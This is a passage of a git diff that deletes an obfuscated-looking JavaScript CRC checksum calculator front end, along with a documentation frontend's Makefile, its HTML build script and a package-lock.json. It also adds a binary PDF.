- _0x94a0db = _0x6d76a3.params,
- _0x53226a = _0x94a0db.check,
- _0x298929 = _0x94a0db.poly,
- _0x21c8f2 = _0x94a0db.init,
- _0x286ad5 = _0x94a0db.refIn,
- _0x160cef = _0x94a0db.refOut,
- _0x3d423b = _0x94a0db.xorOut
- _0x15f8e7.cells[1].innerHTML = _0x34be63 + _0xba7c8b(_0x38212f)
- _0x11b9f3 &&
- _0x6d76a3.result != _0x6d76a3.params.check &&
- (_0x15f8e7.cells[1].style.background = '#FFC0BC')
- _0x38212f == 0 && (_0x15f8e7.cells[1].style.background = '#ccdccc')
- _0x15f8e7.cells[2].innerHTML = _0x34be63 + _0xba7c8b(_0x53226a)
- _0x15f8e7.cells[3].innerHTML = _0x34be63 + _0xba7c8b(_0x298929)
- _0x15f8e7.cells[4].innerHTML = _0x34be63 + _0xba7c8b(_0x21c8f2)
- _0x15f8e7.cells[5].innerHTML = _0x286ad5.toString()
- _0x15f8e7.cells[6].innerHTML = _0x160cef.toString()
- _0x15f8e7.cells[7].innerHTML = _0x34be63 + _0xba7c8b(_0x3d423b)
- const _0x5f1925 = HTMLHelper.GetDivElement('crcLookupTable')
- _0x2b43e3.length == 1
- ? ((_0x5f1925.style.display = 'block'),
- showHex(_0x1f03d9),
- _0x5a2a5b(_0x2b43e3[0]))
- : ((_0x5f1925.style.display = 'none'), showHex(new Uint8Array(0)))
- }
- function _0x5a2a5b(_0x20a23c) {
- const _0x39c56d = document.getElementById('lblCrcLookupTable')
- _0x39c56d.innerHTML = ushortsToHex(
- _0x20a23c.lookupTable,
- _0x20a23c.params.hashSize
- )
- }
- function _0xeff753(_0x357a6e, _0x5dc707) {
- while (_0x357a6e.length < _0x5dc707) {
- _0x357a6e = '0' + _0x357a6e
- }
- return _0x357a6e
- }
-}
-let fileBytes
-function dropHandler(_0x5c129e) {
- console.log('File(s) dropped')
- _0x5c129e.preventDefault()
- let _0x575946 = new FileReader()
- _0x575946.onload = function() {
- let _0xd6a486 = HTMLHelper.GetTextAreaElement('crcName').value
- console.log('Before ProcessFile')
- ProcessFile(_0xd6a486, _0x575946.result, getOutType())
- console.log('After ProcessFile')
- }
- if (_0x5c129e.dataTransfer.items) {
- let _0x1f2083 = _0x5c129e.dataTransfer.items[0].getAsFile()
- _0x575946.readAsArrayBuffer(_0x1f2083)
- } else {
- for (
- let _0x10644a = 0;
- _0x10644a < _0x5c129e.dataTransfer.files.length;
- _0x10644a++
- ) {
- console.log(
- '... file[' +
- _0x10644a +
- '].name = ' +
- _0x5c129e.dataTransfer.files[_0x10644a].name
- )
- _0x575946.readAsArrayBuffer(_0x5c129e.dataTransfer.files[_0x10644a])
- }
- }
-}
-function dragOverHandler(_0x51b834) {
- console.log('File(s) in drop zone')
- let _0x5490b8 = document.getElementById('drop_zone')
- _0x5490b8.style.border = '5px solid red'
- _0x51b834.preventDefault()
-}
-function dragLeaveHandler(_0x531114) {
- console.log('File(s) out drop zone')
- let _0x3cf635 = document.getElementById('drop_zone')
- _0x3cf635.style.border = '5px solid gray'
- _0x531114.preventDefault()
-}
-var Endianness
- ; (function(_0x2abb29) {
- _0x2abb29[(_0x2abb29.Undefined = 0)] = 'Undefined'
- _0x2abb29[(_0x2abb29.LittleEndian = 1)] = 'LittleEndian'
- _0x2abb29[(_0x2abb29.BigEndian = 2)] = 'BigEndian'
- })(Endianness || (Endianness = {}))
-class BigEndianBitConverter {
- ['GetEndianness']() {
- return Endianness.BigEndian
- }
-}
-class LittleEndianBitConverter {
- ['GetEndianness']() {
- return Endianness.LittleEndian
- }
-}
-function hexToBytes(_0xf5c18) {
- const _0x20cb44 = new Array()
- do {
- _0xf5c18 = _0xf5c18.replace('0x', '')
- } while (_0xf5c18.search('0x') != -1)
- _0xf5c18 = _0xf5c18.replace(/[^A-Fa-f0-9]/g, '')
- console.info(_0xf5c18)
- for (let _0x37c6e7 = 0; _0x37c6e7 < _0xf5c18.length; _0x37c6e7 += 2) {
- _0x20cb44.push(parseInt(_0xf5c18.substr(_0x37c6e7, 2), 16))
- }
- return _0x20cb44
-}
-function hexToByte(_0x2240dd) {
- return hexToBytes(_0x2240dd)[0]
-}
-function bytesToHex(_0x3a76a8) {
- return bytesToHexP(_0x3a76a8, 8, 16)
-}
-function bytesToHexP(_0x14091b, _0x32dde3, _0x1f72f5) {
- let _0x292975 = ''
- for (let _0x2ca7c5 = 0; _0x2ca7c5 < _0x14091b.length; _0x2ca7c5++) {
- const _0x4298e8 =
- _0x14091b[_0x2ca7c5] < 0
- ? _0x14091b[_0x2ca7c5] + 256
- : _0x14091b[_0x2ca7c5]
- _0x292975 += byteToHex(_0x4298e8) + ' '
- const _0x2d98da = _0x2ca7c5 + 1
- _0x2ca7c5 != 0 &&
- _0x2d98da % _0x32dde3 == 0 &&
- (_0x2d98da % _0x1f72f5 == 0
- ? (_0x292975 += '
')
- : (_0x292975 += ' '))
- }
- return _0x292975
-}
-function byteToHex(_0x2d44fb) {
- return '0x' + (_0x2d44fb >>> 4).toString(16) + (_0x2d44fb & 15).toString(16)
-}
-function bytesToHex2(_0x1c782c) {
- let _0x49c108 = []
- for (let _0x98916a = 0; _0x98916a < _0x1c782c.length; _0x98916a++) {
- const _0x5f34d2 =
- _0x1c782c[_0x98916a] < 0
- ? _0x1c782c[_0x98916a] + 256
- : _0x1c782c[_0x98916a]
- _0x49c108.push(
- '0x' +
- (_0x5f34d2 >>> 4).toString(16) +
- (_0x5f34d2 & 15).toString(16) +
- ' '
- )
- const _0x2baabe = _0x98916a + 1
- _0x98916a != 0 &&
- _0x2baabe % 8 == 0 &&
- (_0x2baabe % 16 == 0 ? _0x49c108.push('
') : _0x49c108.push(' '))
- }
- let _0x24b727 = _0x49c108.join('')
- return _0x24b727
-}
-function showHex(_0x5bfda7) {
- const _0x58517a = document.getElementById('lblDataHex')
- _0x58517a.innerHTML = bytesToHex(_0x5bfda7)
-}
-function ushortsToHex(_0x380343, _0x10ea4f) {
- let _0x2daa5d = '',
- _0x2215e7 = _0x10ea4f > 8 ? 8 : 16
- for (let _0x4bf89f = 0; _0x4bf89f < _0x380343.length; _0x4bf89f++) {
- const _0x1ce5e3 = _0x380343[_0x4bf89f]
- let _0x10d367 = _0x1ce5e3.toString(16),
- _0x3db3ea = _0x10ea4f / 4 + (_0x10ea4f % 4 > 0 ? 1 : 0)
- while (_0x10d367.length < _0x3db3ea) {
- _0x10d367 = '0' + _0x10d367
- }
- _0x2daa5d += '0x' + _0x10d367 + ' '
- const _0x4aa5ca = _0x4bf89f + 1
- _0x4bf89f != 0 &&
- _0x4aa5ca % 8 == 0 &&
- (_0x4aa5ca % 8 == 0 ? (_0x2daa5d += '
') : (_0x2daa5d += ' '))
- }
- return _0x2daa5d
-}
-class HTMLHelper {
- static ['GetElementById'](_0x77d3e9) {
- return document.getElementById(_0x77d3e9)
- }
- static ['GetElement'](_0x4e6328) {
- return this.GetElementById(_0x4e6328)
- }
- static ['GetAnchorElement'](_0x3ac1e2) {
- return this.GetElementById(_0x3ac1e2)
- }
- static ['GetAreaElement'](_0x306980) {
- return this.GetElementById(_0x306980)
- }
- static ['GetAudioElement'](_0x1e5b87) {
- return this.GetElementById(_0x1e5b87)
- }
- static ['GetBRElement'](_0x335bd2) {
- return this.GetElementById(_0x335bd2)
- }
- static ['GetBaseElement'](_0x3426df) {
- return this.GetElementById(_0x3426df)
- }
- static ['GetBody'](_0x16cb66) {
- return this.GetElementById(_0x16cb66)
- }
- static ['GetButtonElement'](_0xee76fc) {
- return this.GetElementById(_0xee76fc)
- }
- static ['GetCanvasElement'](_0x30a7c8) {
- return this.GetElementById(_0x30a7c8)
- }
- static ['GetDListElement'](_0x428c5a) {
- return this.GetElementById(_0x428c5a)
- }
- static ['GetDataElement'](_0x160399) {
- return this.GetElementById(_0x160399)
- }
- static ['GetDataListElement'](_0x29840e) {
- return this.GetElementById(_0x29840e)
- }
- static ['GetDetailsElement'](_0x54106f) {
- return this.GetElementById(_0x54106f)
- }
- static ['GetDialogElement'](_0x1c6325) {
- return this.GetElementById(_0x1c6325)
- }
- static ['GetDirectoryElement'](_0x31fca7) {
- return this.GetElementById(_0x31fca7)
- }
- static ['GetDivElement'](_0x288aa2) {
- return this.GetElementById(_0x288aa2)
- }
- static ['GetEmbedElement'](_0x28ccfd) {
- return this.GetElementById(_0x28ccfd)
- }
- static ['GetFieldSetElement'](_0x42cb10) {
- return this.GetElementById(_0x42cb10)
- }
- static ['GetFontElement'](_0x1eb2a6) {
- return this.GetElementById(_0x1eb2a6)
- }
- static ['GetFormElement'](_0x28a3e5) {
- return this.GetElementById(_0x28a3e5)
- }
- static ['GetFrameElement'](_0x5d1c30) {
- return this.GetElementById(_0x5d1c30)
- }
- static ['GetFrameSetElement'](_0x1a37fa) {
- return this.GetElementById(_0x1a37fa)
- }
- static ['GetHRElement'](_0x2eeee9) {
- return this.GetElementById(_0x2eeee9)
- }
- static ['GetHeadElement'](_0xc895dd) {
- return this.GetElementById(_0xc895dd)
- }
- static ['GetHeadingElement'](_0xdcea17) {
- return this.GetElementById(_0xdcea17)
- }
- static ['GetHtmlElement'](_0x2977fe) {
- return this.GetElementById(_0x2977fe)
- }
- static ['GetIFrameElement'](_0x3d620f) {
- return this.GetElementById(_0x3d620f)
- }
- static ['GetImageElement'](_0x263538) {
- return this.GetElementById(_0x263538)
- }
- static ['GetInputElement'](_0x3ce5e7) {
- return this.GetElementById(_0x3ce5e7)
- }
- static ['GetLIElement'](_0x161720) {
- return this.GetElementById(_0x161720)
- }
- static ['GetLabelElement'](_0x50eff4) {
- return this.GetElementById(_0x50eff4)
- }
- static ['GetLegendElement'](_0x3bbd03) {
- return this.GetElementById(_0x3bbd03)
- }
- static ['GetLinkElement'](_0x4faa9b) {
- return this.GetElementById(_0x4faa9b)
- }
- static ['GetMapElement'](_0x41dfe5) {
- return this.GetElementById(_0x41dfe5)
- }
- static ['GetMarqueeElement'](_0x938ff6) {
- return this.GetElementById(_0x938ff6)
- }
- static ['GetMediaElement'](_0x566f8b) {
- return this.GetElementById(_0x566f8b)
- }
- static ['GetMenuElement'](_0x3f07f0) {
- return this.GetElementById(_0x3f07f0)
- }
- static ['GetMetaElement'](_0x48f034) {
- return this.GetElementById(_0x48f034)
- }
- static ['GetMeterElement'](_0x110a2c) {
- return this.GetElementById(_0x110a2c)
- }
- static ['GetModElement'](_0x40f481) {
- return this.GetElementById(_0x40f481)
- }
- static ['GetOListElement'](_0xae4a2f) {
- return this.GetElementById(_0xae4a2f)
- }
- static ['GetObjectElement'](_0x1c2722) {
- return this.GetElementById(_0x1c2722)
- }
- static ['GetOptGroupElement'](_0x21880a) {
- return this.GetElementById(_0x21880a)
- }
- static ['GetOptionElement'](_0x118029) {
- return this.GetElementById(_0x118029)
- }
- static ['GetOrSVGElement'](_0x40cd72) {
- return this.GetElementById(_0x40cd72)
- }
- static ['GetOutputElement'](_0x2a83a3) {
- return this.GetElementById(_0x2a83a3)
- }
- static ['GetParagraphElement'](_0x598290) {
- return this.GetElementById(_0x598290)
- }
- static ['GetParamElement'](_0x2287a1) {
- return this.GetElementById(_0x2287a1)
- }
- static ['GetPictureElement'](_0x3124ff) {
- return this.GetElementById(_0x3124ff)
- }
- static ['GetPreElement'](_0x1a11a4) {
- return this.GetElementById(_0x1a11a4)
- }
- static ['GetProgressElement'](_0x99a678) {
- return this.GetElementById(_0x99a678)
- }
- static ['GetQuoteElement'](_0x2ea851) {
- return this.GetElementById(_0x2ea851)
- }
- static ['GetScriptElement'](_0x1e1d86) {
- return this.GetElementById(_0x1e1d86)
- }
- static ['GetSelectElement'](_0x1d599e) {
- return this.GetElementById(_0x1d599e)
- }
- static ['GetSlotElement'](_0x59677b) {
- return this.GetElementById(_0x59677b)
- }
- static ['GetSourceElement'](_0x53dee7) {
- return this.GetElementById(_0x53dee7)
- }
- static ['GetSpanElement'](_0xfe8d6a) {
- return this.GetElementById(_0xfe8d6a)
- }
- static ['GetStyleElement'](_0x10942d) {
- return this.GetElementById(_0x10942d)
- }
- static ['GetTableCaptionElement'](_0x591d57) {
- return this.GetElementById(_0x591d57)
- }
- static ['GetTableCellElement'](_0x5601f6) {
- return this.GetElementById(_0x5601f6)
- }
- static ['GetTableColElement'](_0x3ec215) {
- return this.GetElementById(_0x3ec215)
- }
- static ['GetTableDataCellElement'](_0xa58908) {
- return this.GetElementById(_0xa58908)
- }
- static ['GetTableElement'](_0x30731c) {
- return this.GetElementById(_0x30731c)
- }
- static ['GetTableHeaderCellElement'](_0x1c9100) {
- return this.GetElementById(_0x1c9100)
- }
- static ['GetTableRowElement'](_0x2ca950) {
- return this.GetElementById(_0x2ca950)
- }
- static ['GetTableSectionElement'](_0x1e388d) {
- return this.GetElementById(_0x1e388d)
- }
- static ['GetTemplateElement'](_0x3f654e) {
- return this.GetElementById(_0x3f654e)
- }
- static ['GetTextAreaElement'](_0x2682f7) {
- return this.GetElementById(_0x2682f7)
- }
- static ['GetTimeElement'](_0x156dc7) {
- return this.GetElementById(_0x156dc7)
- }
- static ['GetTitleElement'](_0x140baf) {
- return this.GetElementById(_0x140baf)
- }
- static ['GetTrackElement'](_0x5d37f3) {
- return this.GetElementById(_0x5d37f3)
- }
- static ['GetUListElement'](_0x12c7af) {
- return this.GetElementById(_0x12c7af)
- }
- static ['GetUnknownElement'](_0x419a47) {
- return this.GetElementById(_0x419a47)
- }
- static ['GetVideoElement'](_0x118e2e) {
- return this.GetElementById(_0x118e2e)
- }
-}
-var Outtypes
- ; (function(_0x5915aa) {
- _0x5915aa[(_0x5915aa.hex = 0)] = 'hex'
- _0x5915aa[(_0x5915aa.dec = 1)] = 'dec'
- _0x5915aa[(_0x5915aa.oct = 2)] = 'oct'
- _0x5915aa[(_0x5915aa.bin = 3)] = 'bin'
- })(Outtypes || (Outtypes = {}))
-let reader = new FileReader(),
- customAlgoName = null,
- previousAlgoName = null
-function readFile(_0xc33410) {
- if (_0xc33410 == null || _0xc33410.files.length <= 0) {
- console.error('showFile input null or files <= 0')
- return
- }
- const _0x682bfd = _0xc33410.files[0]
- reader.readAsArrayBuffer(_0x682bfd)
- reader.onload = function() {
- console.log('Reader loaded file succsesfully')
- }
- reader.onerror = function() {
- console.error('FileReader error: ' + reader.error)
- }
-}
-function calcFile(_0x3baefe) {
- ProcessFile(_0x3baefe, reader.result, getOutType())
-}
-function calcText(_0x47b758) {
- const _0x2e59a9 = HTMLHelper.GetTextAreaElement('crc'),
- _0xe4f3a = _0x2e59a9.value
- _0x2e59a9.style.backgroundColor = '#eeeeee'
- const _0x1fe97e = HTMLHelper.GetInputElement('rdbtnHex').checked,
- _0x2d4be7 = getOutType()
- console.log(_0x1fe97e)
- if (_0x1fe97e) {
- } else {
- }
-}
-function inputTypeOnChange() {
- const _0x628b8d = HTMLHelper.GetInputElement('rdbtnTextInputType'),
- _0x3168c0 = _0x628b8d.checked,
- _0x2d5e47 = HTMLHelper.GetParagraphElement('textInput'),
- _0x186fe5 = HTMLHelper.GetParagraphElement('fileInput')
- _0x3168c0
- ? ((_0x2d5e47.style.display = 'block'), (_0x186fe5.style.display = 'none'))
- : ((_0x2d5e47.style.display = 'none'), (_0x186fe5.style.display = 'block'))
-}
-function getOutType() {
- let _0x327393 = Outtypes.hex,
- _0x263268 = HTMLHelper.GetInputElement('outTyped')
- return (
- _0x263268.checked && (_0x327393 = Outtypes.dec),
- (_0x263268 = HTMLHelper.GetInputElement('outTypeo')),
- _0x263268.checked && (_0x327393 = Outtypes.oct),
- (_0x263268 = HTMLHelper.GetInputElement('outTypeb')),
- _0x263268.checked && (_0x327393 = Outtypes.bin),
- _0x327393
- )
-}
-function getcrc(_0x102223) {
- if (_0x102223 == null) {
- if (previousAlgoName == null) {
- alert('Please, select algo from list first')
- return
- } else {
- _0x102223 = previousAlgoName
- }
- }
- previousAlgoName = _0x102223
- const _0x74c743 =
- ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~',
- _0x486500 = HTMLHelper.GetTextAreaElement('textAreaInputData')
- let _0x16d809 = _0x486500.value,
- _0x417dd0 = 'ascii',
- _0x479138 = HTMLHelper.GetInputElement('methodh')
- _0x479138.checked && (_0x417dd0 = 'hex')
- const _0x18119f = getOutType()
- let _0x19f3ea = _0x102223,
- _0x1b216f = true
- switch (_0x102223) {
- case 'crc8':
- ; (_0x19f3ea = 'CRC-8'), (_0x1b216f = false)
- break
- case 'crc16':
- ; (_0x19f3ea = 'CRC-16 CRC-A'), (_0x1b216f = false)
- break
- case 'crc32':
- ; (_0x19f3ea = 'CRC-32'), (_0x1b216f = false)
- break
- case 'crc64':
- ; (_0x19f3ea = 'СRC'), (_0x1b216f = false)
- break
- }
- if (_0x1b216f) {
- let _0xa82ee = HTMLHelper.GetButtonElement('btnCrcCustom')
- _0xa82ee.textContent = _0x19f3ea
- customAlgoName = _0x19f3ea
- }
- const _0x5c044d = _0x1b216f ? 'none' : 'inline-block',
- _0x227360 = _0x1b216f ? 'inline-block' : 'none'
- let _0x2c7f07 = HTMLHelper.GetButtonElement('btnCrc8')
- _0x2c7f07.style.display = _0x5c044d
- _0x2c7f07 = HTMLHelper.GetButtonElement('btnCrc16')
- _0x2c7f07.style.display = _0x5c044d
- _0x2c7f07 = HTMLHelper.GetButtonElement('btnCrc32')
- _0x2c7f07.style.display = _0x5c044d
- _0x2c7f07 = HTMLHelper.GetButtonElement('btnBackToList')
- _0x2c7f07.style.display = _0x227360
- _0x2c7f07 = HTMLHelper.GetButtonElement('btnCrcCustom')
- _0x2c7f07.style.display = _0x227360
- if (_0x417dd0 === 'hex') {
- calcCrcForHexString(_0x19f3ea, _0x1b216f, _0x16d809, _0x18119f)
- } else {
- calcCrcForAsciiString(_0x19f3ea, _0x1b216f, _0x16d809, _0x18119f)
- }
- const _0x4f1f59 = location.protocol + '//' + location.host,
- _0x280d1b =
- _0x4f1f59 +
- '/?crc=' +
- _0x16d809 +
- '&method=' +
- _0x102223 +
- '&datatype=' +
- _0x417dd0 +
- '&outtype=' +
- _0x18119f
- let _0x416935 = HTMLHelper.GetInputElement('shareurl')
- _0x416935.value = _0x280d1b
- const _0x518149 = document.getElementById('enableJsNotification')
- _0x518149.style.display = 'none'
-}
-
diff --git a/documentation/documentation.pdf b/documentation/documentation.pdf
new file mode 100644
index 0000000..fe7ac87
Binary files /dev/null and b/documentation/documentation.pdf differ
diff --git a/documentation/frontend/Makefile b/documentation/frontend/Makefile
deleted file mode 100644
index c2b5af0..0000000
--- a/documentation/frontend/Makefile
+++ /dev/null
@@ -1,33 +0,0 @@
-OUTDIR = out
-
-HTMLIN = $(wildcard src/html/*.html)
-HTMLOUT = $(patsubst src/html/%.html,$(OUTDIR)/%.html,$(HTMLIN))
-
-JSIN = $(filter-out src/ts/lib.ts, $(wildcard src/ts/*.ts))
-JSOUT = $(patsubst src/ts/%.ts,$(OUTDIR)/static/js/%.js,$(JSIN))
-
-CSSIN = $(wildcard src/css/*.css)
-CSSOUT = $(subst src/,$(OUTDIR)/static/,$(CSSIN))
-
-build: static $(HTMLOUT) $(JSOUT) $(CSSOUT)
-
-$(OUTDIR)/%.html: src/html/%.html
- @mkdir -p $(OUTDIR)/static
- node build-html.js $^
-
-$(OUTDIR)/static/js/%.js: src/ts/%.ts
- @mkdir -p $(OUTDIR)/static/js
- @npm run webpack -- --config webpack.config.js --entry ./$^ --output-filename ./$@
-
-$(OUTDIR)/static/css/%.css: src/css/%.css
- @mkdir -p $(OUTDIR)/static/css
- @npm run tailwind -- -i $^ -o $@
-
-.PHONY: static
-static:
- @mkdir -p $(OUTDIR)/static
- cp -r static/* $(OUTDIR)/static
-
-.PHONY: clean
-clean:
- @rm -rf $(OUTDIR)
diff --git a/documentation/frontend/build-html.js b/documentation/frontend/build-html.js
deleted file mode 100755
index f5572aa..0000000
--- a/documentation/frontend/build-html.js
+++ /dev/null
@@ -1,79 +0,0 @@
-#!/usr/bin/env node
-
-const fs = require("node:fs");
-const HTMLParser = require("node-html-parser");
-const { exit } = require("node:process");
-const prettier = require("prettier");
-const Path = require("path")
-
-const outDir = "out";
-
-fs.mkdirSync(outDir, {
- recursive: true,
-});
-
-if (process.argv.length < 3) {
- console.error("ERROR: Missing source files");
- console.error(`Usage: ./${Path.basename(process.argv[1])} ... FILES`);
- exit(1);
-}
-
-const sources = process.argv.slice(2)
-
-async function build(sources, outDir) {
- for (let i = 0; i < sources.length; i++) {
- const source = sources[i]
- if (!fs.existsSync(source)) {
- console.error("ERROR: Source does not exist:", source);
- exit(1)
- }
- if (fs.lstatSync(source).isDirectory()) {
- console.error("ERROR: Source is a directory:", source);
- exit(1)
- }
-
- const workingDir = Path.dirname(source);
- const html = fs.readFileSync(source);
- const tree = HTMLParser.parse(html);
- let elem = tree.querySelector("layout");
-
- while (elem) {
- let layoutSrc = elem.getAttribute("src");
- if (!layoutSrc) {
- console.error("ERROR: Layout tag missing src attribute", layoutSrc);
- exit(1);
- }
- layoutSrc = Path.join(workingDir, layoutSrc)
- if (!fs.existsSync(layoutSrc)) {
- console.error("ERROR: Source does not exist:", layoutSrc);
- exit(1)
- }
- if (fs.lstatSync(layoutSrc).isDirectory()) {
- console.error("ERROR: Source is a directory:", layoutSrc);
- exit(1)
- }
-
- let layout = fs.readFileSync(layoutSrc);
- const layoutTree = HTMLParser.parse(layout);
- const layoutChildren = layoutTree.querySelector("children");
- if (!layoutChildren) {
- console.error("ERROR: Layout missing children tag", layoutSrc);
- exit(1);
- }
- layoutChildren.replaceWith(...elem.childNodes);
-
- elem.replaceWith(layoutTree);
- elem = tree.querySelector("layout");
- }
-
- await prettier
- .format(tree.toString(), {
- parser: "html",
- })
- .then((result) => {
- fs.writeFileSync(Path.join(outDir, Path.basename(source)), result);
- });
- }
-}
-
-build(sources, outDir)
diff --git a/documentation/frontend/package-lock.json b/documentation/frontend/package-lock.json
deleted file mode 100644
index dc84af4..0000000
--- a/documentation/frontend/package-lock.json
+++ /dev/null
@@ -1,2877 +0,0 @@
-{
- "name": "frontend",
- "lockfileVersion": 3,
- "requires": true,
- "packages": {
- "": {
- "dependencies": {
- "@xterm/addon-attach": "^0.11.0",
- "@xterm/addon-canvas": "^0.7.0",
- "@xterm/addon-clipboard": "^0.1.0",
- "@xterm/addon-fit": "^0.10.0",
- "@xterm/addon-webgl": "^0.18.0",
- "@xterm/xterm": "^5.5.0",
- "zod": "^3.23.6"
- },
- "devDependencies": {
- "node-html-parser": "^6.1.13",
- "prettier": "^3.2.5",
- "tailwindcss": "^3.4.3",
- "ts-loader": "^9.5.1",
- "webpack": "^5.91.0",
- "webpack-cli": "^5.1.4"
- }
- },
- "node_modules/@alloc/quick-lru": {
- "version": "5.2.0",
- "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz",
- "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==",
- "dev": true,
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/@discoveryjs/json-ext": {
- "version": "0.5.7",
- "resolved": "https://registry.npmjs.org/@discoveryjs/json-ext/-/json-ext-0.5.7.tgz",
- "integrity": "sha512-dBVuXR082gk3jsFp7Rd/JI4kytwGHecnCoTtXFb7DB6CNHp4rg5k1bhg0nWdLGLnOV71lmDzGQaLMy8iPLY0pw==",
- "dev": true,
- "engines": {
- "node": ">=10.0.0"
- }
- },
- "node_modules/@isaacs/cliui": {
- "version": "8.0.2",
- "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz",
- "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==",
- "dev": true,
- "dependencies": {
- "string-width": "^5.1.2",
- "string-width-cjs": "npm:string-width@^4.2.0",
- "strip-ansi": "^7.0.1",
- "strip-ansi-cjs": "npm:strip-ansi@^6.0.1",
- "wrap-ansi": "^8.1.0",
- "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/@jridgewell/gen-mapping": {
- "version": "0.3.5",
- "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.5.tgz",
- "integrity": "sha512-IzL8ZoEDIBRWEzlCcRhOaCupYyN5gdIK+Q6fbFdPDg6HqX6jpkItn7DFIpW9LQzXG6Df9sA7+OKnq0qlz/GaQg==",
- "dev": true,
- "dependencies": {
- "@jridgewell/set-array": "^1.2.1",
- "@jridgewell/sourcemap-codec": "^1.4.10",
- "@jridgewell/trace-mapping": "^0.3.24"
- },
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/@jridgewell/resolve-uri": {
- "version": "3.1.2",
- "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
- "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
- "dev": true,
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/@jridgewell/set-array": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.2.1.tgz",
- "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==",
- "dev": true,
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/@jridgewell/source-map": {
- "version": "0.3.6",
- "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.6.tgz",
- "integrity": "sha512-1ZJTZebgqllO79ue2bm3rIGud/bOe0pP5BjSRCRxxYkEZS8STV7zN84UBbiYu7jy+eCKSnVIUgoWWE/tt+shMQ==",
- "dev": true,
- "dependencies": {
- "@jridgewell/gen-mapping": "^0.3.5",
- "@jridgewell/trace-mapping": "^0.3.25"
- }
- },
- "node_modules/@jridgewell/sourcemap-codec": {
- "version": "1.4.15",
- "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz",
- "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==",
- "dev": true
- },
- "node_modules/@jridgewell/trace-mapping": {
- "version": "0.3.25",
- "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz",
- "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==",
- "dev": true,
- "dependencies": {
- "@jridgewell/resolve-uri": "^3.1.0",
- "@jridgewell/sourcemap-codec": "^1.4.14"
- }
- },
- "node_modules/@nodelib/fs.scandir": {
- "version": "2.1.5",
- "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
- "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
- "dev": true,
- "dependencies": {
- "@nodelib/fs.stat": "2.0.5",
- "run-parallel": "^1.1.9"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/@nodelib/fs.stat": {
- "version": "2.0.5",
- "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
- "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
- "dev": true,
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/@nodelib/fs.walk": {
- "version": "1.2.8",
- "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
- "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
- "dev": true,
- "dependencies": {
- "@nodelib/fs.scandir": "2.1.5",
- "fastq": "^1.6.0"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/@pkgjs/parseargs": {
- "version": "0.11.0",
- "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz",
- "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==",
- "dev": true,
- "optional": true,
- "engines": {
- "node": ">=14"
- }
- },
- "node_modules/@types/eslint": {
- "version": "8.56.10",
- "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.56.10.tgz",
- "integrity": "sha512-Shavhk87gCtY2fhXDctcfS3e6FdxWkCx1iUZ9eEUbh7rTqlZT0/IzOkCOVt0fCjcFuZ9FPYfuezTBImfHCDBGQ==",
- "dev": true,
- "dependencies": {
- "@types/estree": "*",
- "@types/json-schema": "*"
- }
- },
- "node_modules/@types/eslint-scope": {
- "version": "3.7.7",
- "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.7.tgz",
